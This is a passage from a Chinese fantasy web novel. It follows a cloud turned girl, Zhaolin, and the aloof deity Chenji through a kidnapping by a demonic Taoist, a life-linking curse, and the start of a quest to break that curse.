《摆烂帝君的云朵小人》
1. 小云朵
当今日第一缕晨光撒向霄华殿,这座偏幽的殿堂内,透出清寂的气息。
主人已经下凡数日,神侍们快要把殿外的桂树叶给摘光了。
在这棵桂树的上头,悬着一朵云,慢慢飘着,似乎很好奇神侍们的谈话。
“也不知道帝君什么时候回来,不会是出什么事了吧?”
面露担忧的是霄华殿最高阶的神侍,长身玉立,面若桃花,名唤蕉竹。
“怎么会,咱们帝君本事可多了,不用担心。”另一神侍道。
蕉竹将视线望向天幕,轻浅道:“但愿是吧。”
“瞧你那模样,就像死了夫婿一般,蕉竹,你未来可是大有作为的,可千万不要……”
“两位姐姐,你们在聊什么呀?”
正说话的桃芷顿了下来,被这个突如其来的声音吓得抱紧了蕉竹,她环顾四周:“谁啊!”
然,并无人应答。
蕉竹蹙眉,沉吟道:“此处灵气有变,先回殿内。”
二人一前一后跑回殿内,蕉竹思索得多,跑到一半又折返回来,不看不要紧,一看便难掩惶恐。
只见一个披散着头发的女子正懒洋洋地躺在桂树下,衣不遮体,她倒兴致勃勃。
那女子见了蕉竹,杏眼弯弯:“蕉竹姐姐,你好呀。”
险些让蕉竹吓破了胆,这么一个凭空出现的美人儿,到底是个什么东西?
想是这么想,蕉竹还是跑回房内找了身衣裳,丢给女子:“你先将这衣裳穿上。”
那女子乐呵地将衣服穿上了,抱着蕉竹的手摆来摆去:“谢谢你!”
蕉竹默不作声地将手臂抽出来,问道:“你是何人?”
“我不是人。”女子眨巴着眼睛,“我是霄华殿的云。”
“……”蕉竹平生第一次听见这样的比喻,她施法看了看,再次大吃一惊,这个女子竟然无心无脉无根,奇怪地紧。
“蕉竹姐姐,我真的是你们霄华殿的云,承蒙帝君早些年给我的真气,我才得以修炼成现在的模样。”
蕉竹退后一步,干笑:“行,我,我知道了,那你变回云给我看看。”
云怎么可能修炼成,神?
女子伸手胡乱比划了一通,粉白的面颊上逐渐透出红色,最终,她挠挠头:“不好意思,我不知道……”
蕉竹权当她脑子坏了,也不再耗时与她纠缠,问道:“你叫什么名字?”
“我……无名无姓。”
“那你接下来要去哪?”
“我是霄华殿的云,这儿就是我的归宿。”
“……”
蕉竹暂时将她放在了侧殿的屋子里,她半时辰后还要去趟仙界一趟,暂时忘了女子的事情。
…
这朵云晚上饿了,很饿很饿。
她知道这座宫殿向来有宵禁的规矩,于是蹑手蹑脚地走出屋子,轻车熟路地找到膳房,掀开厨子们一贯会剩下来解馋的吃食,大快朵颐。
待吃饱喝足,小云朵飞身上树,回到她的老朋友,那棵半死不活的桂树上躺着。
她想和老桂树依偎了一会,便闭上眼,也不知道何时竟睡了过去。
小云朵从不做梦,没想到修炼成人形的第一日便做起怪梦来。
她在梦里见着了这座宫殿的主人,他正被众神所簇拥,周遭口舌之争尤为激烈,但他却俨然不动,只淡漠地思索着什么。
他们的谈话草草结束,主人自人群间离去,带走他们的喧嚣,架一只神鸟而归。
他回到了神界,到了自己的宫殿,接着不见了踪影。
小云朵徜徉在梦境里,还很奇怪,她为何能看到这么多,忽然间,她却听见一个不似方才那般遥远的声音:
“看够了吗?”
极为寒凉的一句话,就跟有人怼在她耳边说的一样!
……
小云朵是被烛火光亮照醒的。朦胧间,只见跟前坐着个宽肩窄腰的黑衣男子,正把玩着一条黑蛇。
只是还没等她看清他的面容,先一步发现自己被绑着。
被绑着?
她忙挣扎,看向前方面目冷峻的人,脱口而出:“帝君帝君,手下留人!”
谌己冷冷扫了她一眼,似乎在等着下文。
“我是霄华殿的云,我刚刚化成人形,真的,不信你可以验一下。”
“哦?”
谌己像看某种不言而喻的猎物一样,上下扫视着她,言语间是淡淡的嘲讽,“你想要我怎么验?”
小云朵一仰头:“随便你。”
下一瞬,谌己出现在她眼前,清冷的面容慢慢在她瞳孔中放大,他再度凑近她,见她惶恐后缩,眼中闪过一丝轻蔑的笑,“怎么,不敢了?”
小云朵气鼓鼓的,瞪大眼睛:“谁怕谁?”
“好!”
谌己宽大的手掌向她耳后探去,那一瞬间,她把这些年听那些神侍们将的画本子都想了一遍,想着想着,竟脸红了。
“哼。”
然而谌己只是在她后颈拍了拍,再度起身时,不耐地瞧了瞧她:“三无品种,脑子里装的东西倒是不少。”
小云朵正安慰自己不要害怕,凶神恶煞的帝君忽而又问道:“八百年前,仰众之祸……你自那时起就偷了我的真气,胆子不小。”
小云朵:“冤枉啊帝君,我当时就是一朵云,是您自己将真气送给我的啊!”
谌己扫向她,眼里带着不详的锐利,“怎么个送法?”
“……”小云朵语塞,这个她怎么可能知道!
要么就是逗哪位上神玩,一不小心玩脱了呗……
“就是……”小云朵脑子里闪过桂姨曾经说过的八卦,自认为窥了帝君的风月史,脸蛋一红,“帝君,这是您的私事,我……”
她的声音越来越小。
不过谌己没再追问,转而改口道:“你叫什么名字?”
“我没有名字。”
谌己:“见过其他神侍吗?”
小云朵怕牵连蕉竹,一口咬死说没有。
“当真?”谌己再度不做遮掩的盯着她,一字一顿道:“你再想想呢?”
“我……我没有见过——”
谌己将手一抓——
“帝君,蕉竹知错。”
蕉竹瞬现到屋内,跪得很干脆。
“蕉竹姐姐,对不起,我……”
一直低着头的蕉竹,听到这话,忙给小云朵使了个眼色。
小云朵闭了嘴。
谌己慢悠悠地给自己泡好一壶茶,喝上两口后,才问道:“你何时见到她的?”
蕉竹道:“朝阳刚刚照在殿上之时,小云朵就躺在外面那棵桂树下。”
“在晨间修炼出人形?”
“是的,我也觉得奇怪。”
没有人能猜透谌己的想法,煎熬的沉默过后,这位帝君终于发话:“既如此,就叫她朝临吧。”
“好呀,朝临。”蕉竹再次给小云朵使眼色,“还不快谢谢帝君。”
“哦
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,好!”小云朵朝临往前跳了一步,又因保持不好平衡往前直栽,“噗通”一声趴在了地上。
谌己也不扶一下。
她干脆用这个姿势,喊道:“谢谢谌己帝君。”
她与蕉竹一同被丢出了屋子。
朝临抬头一看,看着屋顶上的牌匾,默默在心中记下。
雲霖居。
蕉竹赶紧给她解绑,又将她扶起来带进侧院里,进房关好门,这才敢直言:“你啊,还是赶紧离开吧。”
“为什么?”朝临不解,“他都给我起名字了,不是代表已经接受我了吗?”
蕉竹摇头,暗念朝临太年轻,“霄华殿可不是那么好进的,殿内一个六个神侍,都是经过层层选拔的,你才化人形,底细不明,帝君不会留你的。”
朝临再次强调:“可我是霄华殿的云朵。”
“哎……”蕉竹进入了梦乡。
朝临却是一夜未眠。
第二日清晨,眼瞧着蕉竹拿着锄头,她问:“你去哪?”
“帝君说门口的桂树死了,让我挖了种去人间。”
朝临心上一惊,问道:“他何时跟你说的?”
“昨日我们回来后。”
“我怎么没听见?”
“这是我们霄华殿内部人员才知道的,你别问了。”
朝临并不好奇,话说她在这殿外漂浮几百年,获取到的机密为零,属实是很无趣的一座宫殿。
“那我能和你一起去吗?这棵树陪了我几百年,我舍不得她。”
蕉竹纠结了会,又想到有人能帮着,还是答应了。
二人艰难地将树挖出来,将它装进一个百宝袋,蕉竹拍了拍手,拉住朝临的手,“抓紧了。”
翻云起雾,不多时,二人在人界顿足。
这儿是一处山清水秀的好地方,朝临以前老爱在天上俯瞰人界的钟灵毓秀,今日一见,果真心旷神怡。
“来吧,种树。”
朝临专心挖坑,只见蕉竹正绕着这棵树走来走去,嘴里念念有词。
“为什么要把树埋在这里呀?”
蕉竹施完法也过来挖坑,“因为这个地方风水好,把这树埋在这里,有助于它飞升成仙。”
朝临心间一喜,连带着面上也激动无比:“蕉竹姐姐,你还会看风水呢?”
“对啊,不然你以为帝君为什么把我招进殿内,正是因为我多才多艺。”
朝临:“那你帮我看看我的命。”
蕉竹自信一看,越看表情越难看,“还是算了,你无根无脉,我看不透。”
朝临又问道:“那你能看清帝君的命吗?”
蕉竹手一抖,努了努嘴,“帝君的命岂是我能看的,赶紧挖坑了。”
朝临于是认真挖坑,可越挖越没力气,她忽然闻见一阵花香,那花香闻了,就越发乏力了。
于是她对蕉竹说,要去休息一下,蕉竹见她很是劳累,便让她去了。
那阵香气很是奇幻,惹得朝临像着魔一般,跟着它走了一路,走到一处茅草屋,里面有个长相奇怪的人族,一见着她,便双眼放光……
蕉竹一口气把树种好,一回头,却不见了朝临的行踪。
她慌了慌神,又想着,反正她是个多出来的人,丢了就丢了。
她想要纵术回去,脑海中忽然又闪过朝临那张单纯美好的脸,莫名心软了,于是告诉自己,就找一个时辰,时间一到就返程。
可她找了两个时辰,都不见朝临的身影……
2. 不近人情
朝临不知道自己睡了多久,也不知道自己正在哪。
“呜呜呜呜……”
耳边隐有啜泣声,她努力睁开眼,只寻得窗里泄进来的微弱光线。
“我要回家……你能救救我吗?你可以吗?”
照临找到声音主人,坐正身子,问道:“你是谁?我们在哪?”
那个少女答道:“我叫芷凌,我们现在在……我也不知道……”
朝临朝芷凌嗅了嗅,将心中疑问托出:“你不是人?”
芷凌道:“你这都闻得出?”
“我打娘胎里带的。”
“哦,那你也不是人吧?我是小花妖,你呢?”
“我是……”朝临怕自己身份太离谱,改口道:“我是一只树妖。”
“家人啊!”芷凌像饿虎扑食一样将朝临抱在怀里,“我要哭了。”
朝临任由她抱着,自顾自环顾四周,问:“你来的时候有晕倒吗?”
“我应该是与你一同来的,只是比你先醒。”
“你来之前是否有闻见某种花香?”
芷凌道:“有!你身体疲乏吗?”
二人可以确定,正是一种具有迷幻作用的香味,将她们骗到了这儿。
装满茅草的屋子里只有两种声线,二人仔细搜索了一番,确认没有第三个人。
朝临推了推门,芷凌道:“别试了,锁了。”
“那就将它砸开,过来搭把手。”
芷凌找到一个镐头,刚回头想叫朝临,木门却忽地打开了。门外站着一个面目丑陋的男子,衣衫褴褛,身上臭味熏天。
这个癞蛤蟆一般的人,露出贪馋的表情,“我的小食物们,出来吧——”
不晓得他用了什么术法,正寻东西都两人纷纷受束,被迫飞到他跟前。
朝临被掐住脖子,喘不过气来。
她忽然想到蕉竹,她那么厉害,一定可以来救她。
朝临试着施法,一阵无望的挣扎后,遥远的地方竟传来了回应,那是一股尤为强大的力量。
既熟悉,又古怪。
“你到底是谁!”芷凌从嗓子眼艰难挤出一句话。
癞蛤蟆哈哈大笑,露出一口黄牙,“这不重要。”说罢了便深吸一口气,“你们好香啊,一个花妖,一个……”他那双混浊的眼睛紧紧注视着朝临,“好一个至纯的身体,无根无脉,大补,大补啊!”
芷凌又被关进了那个小黑屋,朝临则被抓去了另一间屋子。
血腥味和铁锈味灌满了朝临的鼻腔,她几乎要吐出来,头顶悬挂着几把锋刀,刀剑折射的光闪在她的瞳孔当中。
朝临被癞蛤蟆扔在一块木板上,四肢捆绑住,活像一条待宰的鱼。
“大哥,我昨天才被其恶鬼从洞里丢出来,他们都说我无根无脉,吃了损道行,你吃了我也会折道行,还不如……”
“闭嘴!”癞蛤蟆恶狠狠道,“老子不是恶鬼,不用操心这个。”
眼见着尖刀要刺进血肉,朝临灵机一动,喊道:“大哥!或许你知道谌己帝君吗?”
听见这个名讳,癞蛤蟆眼里露出些忌惮,他停下动作,问:“你认识他?”
“我是他霄华殿中的神侍,你把我吃了,可不就是与他为敌。”
“哼!”癞蛤蟆将刀扔在一旁,猛地掐上她脖子,咬牙切齿道:“谌己是神,我竟不知神的宫殿里会有你这般三无小妖?原想着让你快些死去,可你却要在这个时候惹我,那好,我就让你生不如死。”
脖颈上的力道越来越大,朝临已经失去还手之力,意识逐渐涣散,她闭上眼,坦然接受一片黑洞……
“嗯……”
随着这声闷哼声,她隐隐觉着,有空气挤进肺里,意识到这个好消息,她开始大口呼吸,混乱间,她听见了打斗声,以及……
“黑山老道,还不乖乖束手就擒!”
“哼,上面就派了个你来?太低估我了。”
打斗声渐渐远去,朝临很想说,这儿还有个差点死了的人,管管她。
好在苍天有眼,不过多久,有人赶过来替她松绑,帮她运气。
朝临醒了,眼前是个束发男子,清风霁月。
男子伸手在她眼前一晃,“你还好吗?”
“嗷,我好,很好。”
“那你快出来。”男子一把握住朝临的手腕,不由分说将人拉出去。
这是一处隐秘的茅草屋,屋外浓密的竹林早已被大战毁坏。
在竹林上空,有两道真气相持而立,一边是那黑山老道。
而另一边,则是气场清疏的帝君,谌己。
长身玉立,不急不躁地与老道对立。
那老道明显不是他的对手,几个回合下来,已有败阵的意思,就在众人都以为他会投降时,他却向下瞬闪,一把抓住了看戏的朝临。
“谌己,这个三无小妖才化形不久吧?不想她死,就给我留条活路!”
朝临被迫飞向半空,与谌己遥遥相望,其实她根本不觉得谌己会救自己。
“那你尽情杀吧。”谌己冷言道,眼里毫无悲悯之意,“你的命,比她的重要。”
“你!”黑山老道轻蔑地笑,“众神都言谌己帝君冷漠无情,今日一见,果然名不虚传!”
随着老道话音落下,朝临只觉后颈有什么正被往外吸去,越吸,她越陷入昏沉,老道将她往下扔都不知道。
而方才唤醒她的男子,则稳稳将她接住,又赶忙抬头,凝视着谌己与这老道继续对法,最后老道以一则隐身术成功脱身。
身侧的人道:“这怎么可能?”
而男子却看出来,这是谌己有意为之的。
一席黑衣的帝君缓缓落下,居高临下地扫了眼双目紧闭的女子,“埋了吧。”
承光道:“帝君,她还没死。”
“没死?”谌己微顿,“那便将她真气泄了再埋。”
“……”承光抿唇,他一心向善,这事他可做不出来,“帝君,她体内的真气很顽固,并未被吸完,生命力还是很顽强的。”
谌己蹙眉,道:“你既如此心善,那便救吧。”
“帝君,弟子,弟子能力不够……”
“哼。”谌己的发丝被凉风吹拂而起,周遭围着的人丝毫不敢发出动静,“承光,入我门下第一条要求是什么?”
“不做,不自量力的事。”
“那你现在在干什么,嗯?”
“……”
见承光不再说话,谌己最后将目光停留再朝临身上一瞬,正色道:“你们先回,接下来的事,我一人去做便好。”
“帝君,那道人阴狠狡诈,我们和您一同去吧。”
有人道。
“不用。”
谌己离开了,没有人能追上。承光正恍神,忽然察觉怀里的人儿动了动,与此同时,她光洁的额间闪过一丝真气。
……
朝临是被一阵轻柔的擦拭感唤醒的。
这个男子已经是第二次唤醒她了,在这种情况下,她主动将他归为好人。
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“你醒啦?来喝点水。”
男子帮她装来水,坐在床边等着她说话。
朝临端着茶杯,眨了眨眼:“你叫什么名字呀?”
男子一愣,随即挠后脑勺,憨厚道:“我叫承光。”
朝临又问:“是你救了我吗?”
承光原想说是谌己救了她,但又想到他师尊那个态度,生怕眼前的女子再去找他碰壁,于是点头道:“正是。”
“谢谢你承光!”朝临的笑宛如天边暖阳,“从今天开始,我们就是好朋友了,以后你有什么事都可以找我帮忙。”
“哦对了,我叫朝临,虽然我现在不喜欢这个名字,但是你可以这么叫我。”她诚实道。
承光见她笑,也跟着笑,“嗯,朝临。”
人间黄昏时的光束照进屋子,朝临交下了第二个朋友。
只是在这么一个好时候,却被有个人的到来打破了。
谌己推门进来,将手上的东西丢给承光,一面接下他递去的茶水,“那老道逃进了无涯山。”
承光道:“听闻那无涯山四处都是魔障,恐不好找。”
谌己面色不变,下令道:“你将此物给明澄送去,他自会告诉你怎么做。”
“亲自送吗?”
“或者我帮你送?”谌己放了杯子,缓缓道。
承光看了眼还未完全恢复的朝临,欲言又止后,匆匆赶回了神界。
朝临大气不敢出,经过这两次相处,她已经能确定,谌己真的不是一个好相处的神。
这个不好相处的神终于注意到她,随意道:“你怎么还没好?”
朝临眨巴下眼睛,瞧着他笑道:“帝君,我无根无脉,修养起来自然没有那么快。”
“伶牙俐齿。”谌己起身,看着她,毫无情绪道:“不过无妨,今夜我就会将你,丢出去。”
朝临急了:“帝君,手下留人啊。”
“你是人吗?”
“……我是谁你不是比谁都清楚吗?”
谌己无心再与此人纠缠,隔空将人提起,“我看你已无大碍,不如现在就走吧。”
“帝君帝君好帝君,我知道怎么找到黑山老道!”
这可是她的底牌了。
空气陷入沉默,朝临睁开一只眼,瞧着谌己若有所思的表情,试探道:“我真的有办法。”
谌己眯了眯眼,不耐道:“怎么,眼睛也一同坏了?”
“……没有。”
“那就看着我说。”
朝临于是睁开眼,直视他浅棕色的眼眸,道:“被他挟持时,我偷偷往他身上下了咒法,我能随着那道咒法找到他。”
“那无涯山满山魔障,你要如何寻。”
朝临狭然一笑:“帝君,你可别忘了,我是云,这世间所有与我相关之物,都是我家人。”
“此话当真?”
“当真,啊——”
朝临被带上了半空,脚下,是望不尽的丛林。
谌己原本牵着她一只手,后来却松开了,吓得朝临环住了他的腰,脸蛋紧紧贴着他的腰背。她知道他可能会不愿意,但无论如何,小命要紧。
有了谌己这个依靠,她很快就不再害怕了,而她也在此时,找到了一种熟悉的、遥远的感觉。
“帝君,我们这是要去无涯山吗?”
“嗯。”
“为何不多带些人?”
“我二人即可。”
“可是帝君……”
“再说话就把你丢下去。”
3. 承诺
无涯山高,此时被夜色衬得越发可怖,仿若有数只恶魔在其中蛰伏。
谌己丢给朝临一个东西,头也不回道:“吃了。”
“……”朝临二话不说给吞了。
“你倒是干脆。”谌己道扫了她一眼。
“那是自然,全天下我最信任帝君了。”朝临这说的可是真话,她得谌己之力修炼成型,虽说谌己脾性不好,但她对谌己是格外信任的。
“油嘴滑舌。”谌己冷哼一声,破天荒地将她揽入怀中,“抓好了。”
夜色沉沉,加之魔障环绕,朝临看得有些吃力,刚要说些什么,身边人像读懂她所想一般,伸一指在她额间一敲。
“哎哟!”朝临蒙闷哼,谌己并不理她。
看得更清楚了。
朝临不与他计较,专心往下看,山脚西南方向有条河,那儿似乎有她熟悉的灵气。
她施法,用连心术与河边的魔障取得联系,不一会,那一块的魔障散去一部分,她确认那是自己下的术法。
“帝……”
朝临早就习惯这厮的作风,认命地往他怀里钻,直到安稳落地,才敢睁开眼,小心翼翼地从他怀里退出来。
谌己警惕地环顾四周,闭眼探息,眉头不知何时蹙动,过不久,盯着某处道:“你在这等我。”
他给朝临下了道禁制,又往她脚边丢了了个亮光小晶球,接着循着所望的方向而去,很快便消失在魔障当中。
朝临拾起小球,无聊地把玩,待在禁制里,她并不害怕,只是隐隐担心谌己。
大约过去半柱香,黑暗中缓缓踏出一人,正是谌己,朝临与他招手:“帝君,如何呀?”
谌己看她一眼,道:“丢了,我们走吧。”
“回去吗?”朝临总觉得谌己怪怪的,并未踏出禁制。
“嗯。”
“我们回哪?”她追问。
“当然是回神界!”谌己没了耐心的模样。
朝临嘴角一扯,握紧小球,心里如明镜似的,“帝君,我们不是才从妖界赶来,那妖王说帮我们抓黑山老道,我们应该先去妖界商量对策……”
“谌己”脸上闪过一丝警惕,追问道:“那妖王不是在闭关吗?你说的是哪个妖王?”
“……”玩脱了。
朝临道:“就……”
“朝临,把晶球往他身上丢。”
脑海中,传来谌己沉静的声音。
朝临叹气,改口:“帝君,其实我也不知道往哪里去,我怕你揍我,所以才,那么说的。”
“谌己”笑了笑,伸出手:“我怎会舍得骂你,我们走吧。”
朝临朝他伸手,迅速掐机将晶球往“谌己”身上一丢,小球迅速钻进他的血肉之中,引得他大叫一声:
“啊!”
下一瞬,真正的谌己出现,施法将假谌己五花大绑,他脸上的人皮缓缓脱落,黑山老道的脸露出,只一日,他变得越发丑陋了。
谌己抓来一个披头散发的女人,老道见了,再不顾身体上的痛,奋力嘶吼:“谌己!我与你无冤无仇,为何这般赶尽杀绝!”
谌己将奄奄一息的人丢在他脚边,不知是给二人做最后的分别,还是无意之作。
“她要死了。”他冷冷道。
“你今夜要是不来,她就不会死!谌己,她要是死了,你就是凶手!你要给她陪葬,陪葬!”
黑山老道大张嘴巴,全身蓄力,似在做某种呼唤,而谌己只是瞥了眼,便让他失去气力。
“别做无用功了,那几只魔,早死了。”
“怎么会?!”
“你与魔界私通,为祸人间,还妄图逆天改命……”谌己像看蝼蚁一般,“你早该是个死人了。”
“哼,我要是死了,帝君大人,你要怎么交差呢?”
谌己面色不改,道:“这就看你了,你若是束手就擒,她便还有救,你也不会死。”
老道冷笑:“怎么救?你们神最是伪善,答应的事从来做不到,她就因为你们才变成这样的,我要怎么信你们,我要怎么信!”
“随你。”谌己面露不悦,施法紧了紧绳索,“这是你自找的。”
老道应声跪地,他感觉到气息正在往外泄,忽而,他笑了,有气无力道:“帝君殿下,你且看看那个人,我死了,她也会死,哈哈哈哈哈哈哈……”
谌己往朝临看去,只见她与老道并无二样,跪倒在地。
朝临咬着牙:“帝,帝君,你不要管我,我……”
谌己唇动,道:“我本来就没想管你。”
他并未因此而停下,不过这倒算是个变故,惹得他换了计划。
老道缓缓倒地,再无生机。
而他那早已堕入魔道的妻子,恶狠狠地盯着谌己,用沙哑的声音嘶吼着:“谌己,你不得好死!那个女人,她也会马上死的,她中了同命蛊,活不了太久的,哈哈哈哈……”
谌己破了禁制,将人扶起来,这才发觉此人四肢冰凉地可怕,再不控制,恐命不久矣。
他本不想管她,但心中总有股怪异的想法,迫使他去接近她、照料她……
朝临做了个噩梦,被吓醒后,映入眼帘的是一个风姿绰约的背影,有火光在他身上跳跃,在黑袍上转瞬即逝。
她唤他:“帝君?”
谌己缓缓转身,眉眼清冷,“醒了。”
“嗯。”她踉跄地站起来,调笑道:“今日有些惨,让帝君见笑了。”
谌己欲言又止,眸中情绪复杂,叫人看不真切。朝临见了,说道:“帝君,你助我修形,这点小事没事的。”
谌己的目光落在她脸上,语气是一贯的冷淡:“能帮我是你的福气。”
“……”真是冷漠又傲慢的一个神。
“姑娘,你活不了太久了。”
在她没注意到的石头边,那个被谌己抓出来的女人虚弱道。
朝临问:“什么意思?”
女人唇角勾起一抹讥讽的笑:“这是属于你们的报应。”
朝临看向谌己,委屈道:“帝君,我……”
谌己揉了揉眉心,语气中罕见地带着柔和:“你不会死。”
“想不到谌己帝君也会骗人,哈哈哈哈哈哈哈……她最多三月寿命,三月后,且去地府见我那丈夫吧!”
谌己并未被惹怒,而是问朝临:“觉得她聒噪吗?”
朝临点了点头:“有点……”
话音未落全,那女人便灰飞烟灭了。
谌己道:“你不会死,我也不会让你死。”
…
朝临被揽住腰肢,与谌己一同飞上了一只巨鸟的背上,巨鸟翅膀一扬,二人便飞上了空中,飞到了繁星闪烁之处。
朝临问:“帝君,只是你的坐骑吗?”
“嗯。”
“帝君,我们接下来去哪?”
“回神界复命。”
“帝君,我今日算立功了吧?”
“……嗯。”
“帝君,我不想死。”
繁星在谌己冰冷的眼神中跳动,朝临看不懂他,也不期待他说什么,但内心格外焦躁。
“你不会死。”他还是这个回答。
朝临眉眼弯弯的,“帝君,今日我立功了,你能不能答应我一件事啊?”
“嗯。”谌己道,“你说。”
“我先存着,等到时机成熟之时再与帝君说!”
谌己能感觉到少女的雀跃,这份欢愉在此刻通过他们体内所共有的真气,清清楚楚地显现在他心中。
而,他察觉自己并不排斥。
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再回神界,朝临睡了很沉的一觉,醒来时见蕉竹坐在床前,眼眶红肿。
“朝临,你可担心死我了。”
朝临添唇,用干巴的嗓子说道:“蕉竹姐姐,给你添麻烦了,我也不知那香气会害我至此。”
蕉竹一把将朝临抱住,一边道:“好妹妹,这些天你先好生修养着,是姐姐对不起你……”
朝临在霄华殿好吃好喝地修养了半月,这日,谌己回到了殿中。
与他一同回来的,是一个一席白衣的上神,这位上神很是自来熟,一见朝临,就问谌己,看此人印堂发黑,莫不就是她?
听得朝临一脸黑线,谌己则破例让她跟进了书房,只是他们说的她听不懂,睡了小半个时辰,待她被叫醒,屋子里一片漆黑。
“帝君?”
“……”
“我这是在哪?”
“朝临,逃出来,我便寻法子保你千年不死。”
是那个上神的声音。
“上神殿下,我在哪?”
“你在同命蛊当中,这是破蛊第一步,只能靠你自己。”
“我……”
“朝临。”谌己的声音缓缓砸下,“敛神,运息。”
有谌己在,她的心安定下来,照着他所说的,敛神,运息。
像进入了一片波动的海面上,她睁不开眼睛,但能感觉身体的颠簸,海浪越来越大,她快要支撑不住。
“不许停下来。”谌己道。
“哦……”
海浪越来越大,那些浪是由黑色、灰色及各种深色气息组成的“气息”,鞭打着、为难着朝临。
朝临无数次要坚持不住,但一想到谌己在外面为她紧张,还是死死咬着牙,渡过了最煎熬的一段,而在这片海浪的尽头,是一艘红光缭绕的小舟。
“坐上去,快出来。”
谌己必然是关注着她的。
后来的路,一切顺风,朝临顺利通过。出来时,见那个上神挑了眉头,问起谌己:“她身上为何有你的气息,你们莫不是?”
谌己:“天帝那边……”
“打住,我们来说正事。”上神勿舆清清嗓,“小云朵呢,无根无脉无心,属于三无人员,方才在谌己的助力下,成功突破同命蛊的第一层,她的寿命呢,也从三个月变成了十个月,那么接下来,还有三层需要突破。”
“只需找到与她匹配的脉、根、心,再像今日一般在识海中逐一突破,即可破蛊。”
谌己问道:“去何处寻?”
勿舆:“五界之中。”
朝临:“那会很难吧?”
“对啊。”勿舆摇摇头,“这三者都是世间罕见之物,不过小云朵你别担心,有谌己在,小事三桩。”
“啊…”朝临心想,谌己还不一定管她呢。
谁料谌己云淡风轻地应声:“嗯。”
!!!
“帝君……”朝临快要哭了。
谌己扫她一眼,打破她的幻想:“我是为了兑现承诺。”
朝临:“谢谢帝君!”
勿舆的表情不太精彩,不愿再看这二人你来我往,直截道:“为了表示我对谌己帝君的感谢,我呢,特意将我收藏千年的法器送给你们,助你二人早日找到所需之物。”
朝临问:“收藏千年?勿舆上神,你多大呀?”
勿舆拉下脸:“不许问我年纪,问就是比谌己小那么一点。”
谌己:“……”
勿舆拿出一个挂着小铃铛的手串,贴心地帮朝临挂上,“这个叫界铃,你将真气注入进去,它自会帮你寻心根脉。”
正说着,界铃忽而震动,虚空之中慢慢浮出一个字——
妖。
“你的脉,在妖界。”
4. 一个机缘
谌己只给朝临半日时间收拾,当朝临提着大包小包找到他,刚要问这么多东西要怎么办才好。
谌己操着不那么美妙的表情丢给她一样东西,“一炷香,装不进去就把这些都丢了。”
朝临不会用这种术法,还是蕉竹看不下去偷偷帮了她,这位美人儿已经数不清多少次朝朝临伸出援手,她将小香囊塞给朝临,眼里似乎还有些不置信:“帝君为何要将此物给你?他是被你抓住什么把柄了吗?”
朝临欲接下香囊的手在半空一顿,“啊?”
“算了,你又知道什么呢……”蕉竹将香囊塞进朝临手心,瞧着她语重心长道:“刚刚教你的术法都记住了吗,去外界切要小心。”
“都记住了,我会小心的。”朝临笑笑,想要去抱蕉竹,可谌己已经下了最后通牒,她只得匆匆跑出去。
谌己的坐骑早已侯在殿外,凶悍的大鸟在主人跟前匍匐,毛绒脸上竟能看出几分萌样。
朝临在它面前站定,垫了脚才与它琥珀色的眼睛平视,“帝君,它叫什么名字呀?”
谌己睨她一眼,大鸟头顶的毛欢快地竖起几根来,抢先道:“我叫乌铮。”
是一个苍老的声音,与它雄健的身姿并不十分相符。
“小朝临,在想什么呢?”乌铮打趣着。
朝临其实在想乌铮的年纪,应当不小了,神鸟一生只有一个主人,那这不就说明,谌己也……
“没有,我在想,要是早些年能见着您就好了。”
她虽在霄华殿待了这么久,但之前从未见过乌铮。
“呵呵……”乌铮探出翅膀,示意朝临上背,一边道:“其实我以前都是在玉霄池那边等帝君来的,你才几百岁,定然未曾见过我。”
朝临爬上它的背,谌己飞身而上,与她拉开不远距离。
她抬叹了口气,坐在乌铮的脖子上,问道:“要不,我叫您乌叔?”
“好。”乌铮笑,“小朝临,你坐在这,是想和我说说话吗?”
“您神机妙算!”
乌铮兴致盎然,对朝临的问题知无不言。
“乌叔,您方才说您一直在玉霄池等帝君,那是什么地方?”
前方有只不顾死活的鸟妖直向乌铮而来,乌铮翅羽一振,那只鸟妖便血肉模糊。
朝临脸颊间一热,当湿腻的气味传进鼻腔,她还是吐了一通。
乌铮给拔下一根毛,变成手帕送给了她,“果然还是个新兵蛋子。”
“乌叔,这鸟妖的血是绿色的,看着怪恶心。”
“呵呵……”
朝临擦了把脸,追问:“玉霄池是什么地方啊?”
“那儿啊,是帝君母亲的寝殿,在神界的最低处。”
说起来,朝临也从来没有见过帝君的母亲,甚至都少听神侍们讲起。
大鸟的速度越来越快,朝临不再多问,乌铮飞低了些,她借着这个空当,欣赏着山川河海。
“那乌叔,您今日为何上霄华殿来,我还想去玉霄池看看呢。”
“这个……”乌铮想起来,前日谌己千里传音让它今日来霄华殿,它随口问了句为何,远方的谌己一时语塞,给出一个“有人行动不便”的解释。
今日一看,原是因为小朝临太虚弱,无法下到那玉霄池。
“秘密。”乌铮不敢多做言语。
朝临见乌铮不愿多言,慢慢挪到谌己身边,拉好乌铮的毛,笑眯眯的:“帝君,我们直向妖界吗?”
谌己扫了眼她紧绷的手,道:“不去,先往人界。”
朝临眼睛亮了一亮,“那我们在人界待几日?”
谌己笑:“你想待几日都好。”
朝临:“帝君,那不如我们待上个半月,好好体会体会人间的风俗美景,我听说人界是五界当中最令各族民众心向往之的地方了。”
“也好,届时你身上的蛊深入骨髓,我也能第一时间替你收尸。”谌己淡淡道,“你若是想葬在一处风景秀美的地方,我定帮你寻到。”
“……”朝临撇嘴,“帝君,我不想死。”
“不想死就丢下你那些奢望。”
后来的路途里,朝临没了兴致,默默拉开与谌己的距离,暗自抱怨他说话太难听。
落地时,人界已入夜,而人界最繁荣的若木城,夜的生活才刚刚开始。
谌己施法掩盖住二人身上的气息,带着朝临一路进了一家歌舞馆。
各类香料的味道混在一起,与红黄交错的烛光一同在朝临的脸上撞开,接着,琵琶丝竹,琴瑟和鸣,在舞姬曼妙的身姿下,众人不吝散出喊声,好一出醉生梦死的,奇异场景。
谌己似乎对这里很熟悉,才进门,就有好几个面容姣好的女子过来将他拉走,留朝临一人在原地懵然。
还说自己不想在人界久待,看他就是嘴硬!
朝临朝店小二要了壶酒,坐在一边专心看戏,这是她第一次饮酒,味道还不错,当玉壶见底,她竟有几分飘飘然。
这时,席间男男女女皆站起,随着筝音两两牵手舞动。
晕晕乎乎间,朝临眼前出现了一个长相温润的公子。
“这位姑娘,在下可否邀你共享此刻欢愉?”
他的眉眼太温柔,柔到看不出任何的心计,朝临很想要答应,但马上想到谌己那张凶巴巴的脸,还是摇了摇头。
“为何?我对姑娘一见如故,而姑娘,似乎对我也不无心意……”
“一见,如故?”
真特别的形容。
